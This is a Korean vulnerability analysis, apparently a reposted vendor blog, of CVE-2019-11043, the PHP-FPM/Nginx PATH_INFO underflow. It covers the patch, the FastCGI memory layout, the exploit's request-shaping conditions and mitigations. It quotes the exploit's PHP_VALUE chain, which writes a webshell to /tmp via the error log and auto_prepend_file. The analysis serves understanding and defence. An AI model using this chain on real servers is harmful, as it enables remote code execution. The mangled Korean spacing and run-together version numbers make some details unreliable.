건식 | CVE - 2019 - 11043: PHP - FPM 이 Nginx 특정 설정 에서 임의의 코드 실행 구멍 분석

13586 단어 php 개발
최근 해외 안전 연구원 앤 드 류 다 나 우 가 깃발 쟁탈 전 (CTF: Capture the) 에 참가 하고 있다.
Flag) 기간 에 우연히 php - fpm 구성 요소 가 특정 요청 을 처리 할 때 결함 이 있 음 을 발 견 했 습 니 다. 특정 Nginx 설정 에서 특정 구조의 요청 은 php - fpm 처리 이상 을 초래 하여 원 격 으로 임의의 코드 를 실행 할 수 있 습 니 다.현재 저 자 는 github 에 관련 구멍 정보 와 자동화 이용 프로그램 을 발표 했다.Nginx + PHP 조합 이 웹 응용 개발 분야 에서 매우 높 은 시장 점유 율 을 가지 고 있 음 을 감안 하면 이 빈틈 의 영향 범 위 는 비교적 광범 위 하 다.
구멍 개술
PHP - FPM 은 Nginx 특정 설정 에 임의의 코드 실행 구멍 이 있 습 니 다.구체 적 으로: Nginx + PHP - FPM 으로 구 축 된 서버 가 다음 설정 과 유사 한 nginx. conf 를 사용 할 때:
location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_pass   php:9000;
        ...

Nginx 중 fastcgisplit_path_info "n" (% oA) 이 존재 하 는 path 처리 중info 시 PHP - FPM 에 전달 되 는 PATHINFO 가 비어 있 음 (PATH INFO = ") 은 관건 적 인 지침 의 지향 에 영향 을 주어 후속 path info [0] = 0 의 제로 조작 위 치 를 제어 할 수 있 게 하고 특정한 길이 와 내용 을 구성 하 라 는 요청 을 통 해 특정 위치 데 이 터 를 덮어 쓰 고 특정 환경 변 수 를 삽입 하여 코드 가 실 행 될 수 있다.
구멍 분석
우선, 패 치 분석: request info 구조 체 를 초기 화 하 는 static void init request info (void) 함수 에 pilen 과 slen 의 크기 검 사 를 추가 하여 포인터 의 예상 치 못 한 역 추적 이동 을 피 합 니 다.
     // php-src/sapi/fpm/fpm/fpm_main.c
     ...
     if (pt) {
        while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
             //    PATH_INFO     。        ,    PATH_INFO
             *ptr = 0;
             f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
             int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH
             int slen = len - ptlen;  //script length
            int pilen = env_path_info ? strlen(env_path_info) : 0;  //Path info    0
            int tflag = 0;
            char *path_info;

            if (apache_was_here) {
                /* recall that PATH_INFO won't exist */
                path_info = script_path_translated + ptlen;
                tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
            } else {
        -       path_info = env_path_info ? env_path_info + pilen - slen : NULL; //        env_path_info,          
        -       tflag = (orig_path_info != path_info);
        +       path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
        +       tflag = path_info && (orig_path_info != path_info);
            }

            if (tflag) {
                if (orig_path_info) {
                char old;

                FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
                old = path_info[0];
                path_info[0] = 0; //    
                if (!orig_script_name ||
                    strcmp(orig_script_name, env_path_info) != 0) {
                    if (orig_script_name) {
                        FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//    
                    }
                    SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
                    } else {
                    SG(request_info).request_uri = orig_script_name;
                    }
                    path_info[0] = old;
                }
        ...

그 속
     // http://localhost/info.php/test?a=b  
     PATH_INFO=/test
     PATH_TRANSLATED=/docroot/info.php/test
     SCRIPT_NAME=/info.php
     REQUEST_URI=/info.php/test?a=b
     SCRIPT_FILENAME=/docroot/info.php
     QUERY_STRING=a=b
 
     pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test"
    len = script_path_translated_len  //  "/docroot/info.php/test"

    //          
    int ptlen = strlen(pt); // strlen("/docroot/info.php")
    int pilen = env_path_info ? strlen(env_path_info) : 0;  //  len(PATH_INFO) "/test"
    int slen = len - ptlen;   // len("/test")

    path_info = env_path_info + pilen - slen; // pilen      0  slen,     0   -N

PATH INFO 가 비어 있 을 때 path info 는 앞으로 이동 하고, 길이 가 test 인 길 이 를 가리 키 고 있 음 을 알 수 있 습 니 다. 더 나 아가 path info [0]= 0; 특정 위 치 를 단일 바이트 로 0 으로 설정 할 수 있 습 니 다. 단, 일반 위 치 를 0 으로 설정 하 는 것 은 RCE 를 만 들 지 않 습 니 다. 특정 제어 위 치 를 0 으로 설정 해 야 하 며, 이 제어 위 치 는 마침 기록 위 치 를 제어 할 수 있 습 니 다. request - > env - > data - > pos 가 바로 이러한 위치 입 니 다. 각 변수의 저장 방식 을 설명해 야 합 니 다.
fastcgi 프로 토 콜 을 통 해 들 어 오 는 환경 변 수 는 fcgi request - > env 라 는 fcgi hash 구조 체 에 저 장 됩 니 다. 후속 실행 에 사용 할 수 있 습 니 다. 구 조 는 다음 과 같 습 니 다.
     // php-src/sapi/fpm/fpm/fastcgi.c
     typedef struct _fcgi_hash_bucket {
         unsigned int              hash_value;
         unsigned int              var_len;
         char                     *var;
         unsigned int              val_len;
         char                     *val;
         struct _fcgi_hash_bucket *next;
         struct _fcgi_hash_bucket *list_next;
   } fcgi_hash_bucket;

    typedef struct _fcgi_hash_buckets {
        unsigned int               idx;
        struct _fcgi_hash_buckets *next;
        struct _fcgi_hash_bucket   data[FCGI_HASH_TABLE_SIZE];
    } fcgi_hash_buckets;

    typedef struct _fcgi_data_seg {
        char                  *pos;
        char                  *end;
        struct _fcgi_data_seg *next;
        char                   data[1];
    } fcgi_data_seg;

    typedef struct _fcgi_hash {
        fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
        fcgi_hash_bucket  *list;
        fcgi_hash_buckets *buckets;
        fcgi_data_seg     *data;
    } fcgi_hash;
    ...
    /* hash table */
    //     
    static void fcgi_hash_init(fcgi_hash *h)
    {
        memset(h->hash_table, 0, sizeof(h->hash_table));
        h->list = NULL;
        h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
        h->buckets->idx = 0;
        h->buckets->next = NULL;
        h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); //      (4*8 - 1) + 4096
        h->data->pos = h->data->data; //            
        h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE;   //data_seg  
        h->data->next = NULL;
    }
    ...

그 중에서 우 리 는 주로 그 중의 get / set 작업 에 관심 을 가지 고 다음 과 같이 실현 합 니 다.
     static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
     //    FCGI_GETENV()
     {
         unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
        fcgi_hash_bucket *p = h->hash_table[idx];
 
         while (p != NULL) {
         //  hast_value   ,var_len       
             if (p->hash_value == hash_value &&
                p->var_len == var_len &&
                memcmp(p->var, var, var_len) == 0) {
                *val_len = p->val_len;
                return p->val;
            }
            p = p->next;
        }
        return NULL;
    }

    static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
    //    FCGI_PUTENV()
    {
        unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;  //   hash_value   index
        fcgi_hash_bucket *p = h->hash_table[idx];  //    hash_table     

        while (UNEXPECTED(p != NULL)) {
            if (UNEXPECTED(p->hash_value == hash_value) &&
                p->var_len == var_len &&
                memcmp(p->var, var, var_len) == 0) {

                p->val_len = val_len;
                p->val = fcgi_hash_strndup(h, val, val_len);
                return p->val;
            }
            p = p->next;
        }

       if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {
            fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
            b->idx = 0;
            b->next = h->buckets;
            h->buckets = b;
        }

        p = h->buckets->data + h->buckets->idx;
        h->buckets->idx++;
        p->next = h->hash_table[idx];
        h->hash_table[idx] = p;
        p->list_next = h->list;
        h->list = p;

        p->hash_value = hash_value;
        p->var_len = var_len;
        p->var = fcgi_hash_strndup(h, var, var_len);
        p->val_len = val_len;
        p->val = fcgi_hash_strndup(h, val, val_len);
        return p->val;
    }

    static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
    //     request->env->data,      。
    {
        char *ret;

        if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
        //                  fcgi_hash_seg  ,       fcgi_hash_seg
                unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//   ,     seg    。
                fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
                p->pos = p->data;
                p->end = p->pos + seg_size;
                p->next = h->data;
                h->data = p;
            }

            ret = h->data->pos;
           memcpy(ret, str, str_len); // h->data->pos     
            ret[str_len] = 0;
            h->data->pos += str_len + 1; //  h->data->pos        
            return ret;
    }

이 를 통 해 우 리 는 request - > env - > data - > pos 의 지향 은 우리 환경 변수 Key, Value 의 기록 위치 에 직접적인 영향 을 미 칠 수 있 습 니 다. char * pos 의 지향 을 제어 하면 기 존의 데 이 터 를 덮어 쓸 수 있 습 니 다. 단, RCE 를 달성 하려 면 다음 과 같은 요구 와 제한 이 있 습 니 다.
  • 포인터 가 앞으로 이동 하 는 것 은 현재 fcgi hash seg 공간 구조의 영향 을 받 아 너무 짧 으 면 char * pos 를 0 으로 설정 할 수 없습니다. 너무 길 면 새 fcgi hash seg 공간 에 분 배 됩 니 다.http://127.0.0.1/Somefile_exits/AAAAA.php/"바늘 을 뒤로 이동 시 킬 수도 있 습 니 다.)
  • path info [0] = 0 은 단일 바이트 만 0 으로 설정 할 수 있 으 며, 가장 낮은 위치 로 설정 하 는 것 이 좋 습 니 다. 그렇지 않 으 면 포인터 위치 가 너무 많이 벗 어 날 수 있 습 니 다.
  • 조건 2 가 덮어 쓰 인 주소 의 최저 위 치 는 0 이 어야 하고 그 다음은 조건 에 부합 되 는 덮어 쓸 수 있 는 환경 변수 이다.
  • 위치 환경 변 수 를 덮어 쓰 는 key 는 예상 한 key 와 만족 해 야 합 니 다. var, hash value 와 var len 이 같 아야 읽 을 수 있 습 니 다.
  • FCGI PUTENV (request, "ORIG PATH INFO", orig path info) 를 실행 할 때, 각각 ORIG SCRIPT NAME, orig script name ("ORIG SCRIPT NAME / index. php / PHP VALUEnAAAAAA") 을 기록 합 니 다.
  • 이에 따라 우 리 는 할 수 있다.
  • query string 의 길 이 를 제어 하여 path info 를 새로운 fcgi hash seg 의 data 1 위 에 올 려 놓 았 습 니 다. 이때 우 리 는 8 + 8 + 8 + len ("PATH INFO 0") + N = 34 + N 만 이동 하면 char * pos 에 대한 변경 을 완성 할 수 있 습 니 다. 조건 1, 2 의 요 구 를 만족 시 킬 수 있 습 니 다.
  • http header 를 사용자 정의 하여 request header 의 길 이 를 조작 하여 덮어 쓸 환경 변 수 를 특정 위치 (0x 00 + len ("ORIG SCRIPT NAME") + len ("/ index. php /") 에 배치 합 니 다. 조건 3, 5 요 구 를 충족 합 니 다. (NGINX 에 서 는 HTTP 요청 헤더 가 "HTTP XXX" 형식 으로 PHP - FPM 에 전송 되 고 request - env 에 기 록 됩 니 다)
  • Exp 작성 자 는 EBUT 라 는 사용자 정의 헤 더 를 제공 합 니 다. env 변수 이름 은 HTTP EBUT 와 PHP VALUE 가 길이 와 hash value 면 에서 같 고 PHP VALUE 는 후속 처리 에서 읽 기 (ini = FCGI GETENV (request, "PHP VALUE") 를 시도 합 니 다. 조건 4 의 요 구 를 만족 시 킵 니 다.
  • 그 밖 에 PATH INFO 재 추출 부분 논 리 는 주로 PATH INFO 가 실제 path info 와 다른 상황 을 처리 하 는 것 을 감안 하여 처음에 언급 한 nginx 설정 항목 에 대해 하나의 상황 이 존재 합 니 다.http://localhost/index/info.p...다음 장면 을 구성 할 수 있 습 니 다.
         // http://localhost/index/info.php/test?a=b  ,index      
         PATH_INFO=/test
         PATH_TRANSLATED=/docroot/index/info.php/test
         SCRIPT_NAME=/index/info.php
         REQUEST_URI=/index/info.php/test?a=b
         SCRIPT_FILENAME=/docroot/index/info.php
         QUERY_STRING=a=b
     
         pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test"
        len = script_path_translated_len  //  "/docroot/index/info.php/test"
    
        //          
        int ptlen = strlen(pt); // strlen("/docroot/index")
        int pilen = env_path_info ? strlen(env_path_info) : 0;  //  len(PATH_INFO) "/test"
        int slen = len - ptlen;   // len("/info.php/test ")
    
        path_info = env_path_info + pilen - slen;  // pilen < slen,     -N

    이때 URL 에% 0A 가 존재 하지 않 아 도 포인터 이동 을 완성 할 수 있 습 니 다. 구멍 과정 은 상기 와 유사 하지만 script name 이 잘못 되 어 공격 상 태 를 직관 적 으로 표시 할 수 없고 이용 난이도 가 높 으 며 더 이상 군말 하지 않 습 니 다.
    path info 는 request - > env - > data - > pos 후의 메모리 레이아웃 을 가리 키 고 있 습 니 다.
    빈틈 이용
    Exp 작성 자 는 PHP VALUE 를 이용 하여 PHP 에 여러 환경 변 수 를 전달 하여 PHP 에 오 류 를 일 으 키 고 오류 로그 형식 으로 웹 셸 을 / tmp / a 로 출력 하 며 auto prepend file 을 통 해 / tmp / a 의 악성 코드 를 자동 으로 실행 하여 getshell 에 도달 합 니 다.
         var chain = []string{
             "short_open_tag=1", //  php   
             "html_errors=0",   //         HTML  。
             "include_path=/tmp",  //    
             "auto_prepend_file=a",  //              ,    require()。
             "log_errors=1",  //      
             "error_reporting=2",   //      
             "error_log=/tmp/a",  //        
             "extension_dir=\"=\`\"",   //  extension     
            "extension=\"$_GET[a]\`?>\"", //     extension
        }

    영향 범위
    글 에서 언급 한 설정 에서 이 빈틈 은 다음 버 전의 PHP: 7.1. x < 7.1.337.2. x < 7.2.247.3. x < 7.3.11
    구멍 복구
    Nginx 를 통 해 try files% uri = 404 php 설정 cgi. fix pathinfo = 0 옵션 을 추가 하여 구멍 의 영향 을 임시로 피 할 수 있 습 니 다. 공식 적 으로 풀 어 놓 은 업 데 이 트 를 사용 하여 완전히 복구 할 수도 있 습 니 다.
    경 동 운 - waF 는 현재 이 구멍 에 대한 방 호 를 지원 하고 [읽 기] 를 클릭 하여 더 많은 제품 정 보 를 얻 을 수 있 습 니 다.
    '경 동 운' 에 오신 걸 환영 합 니 다.

    좋은 웹페이지 즐겨찾기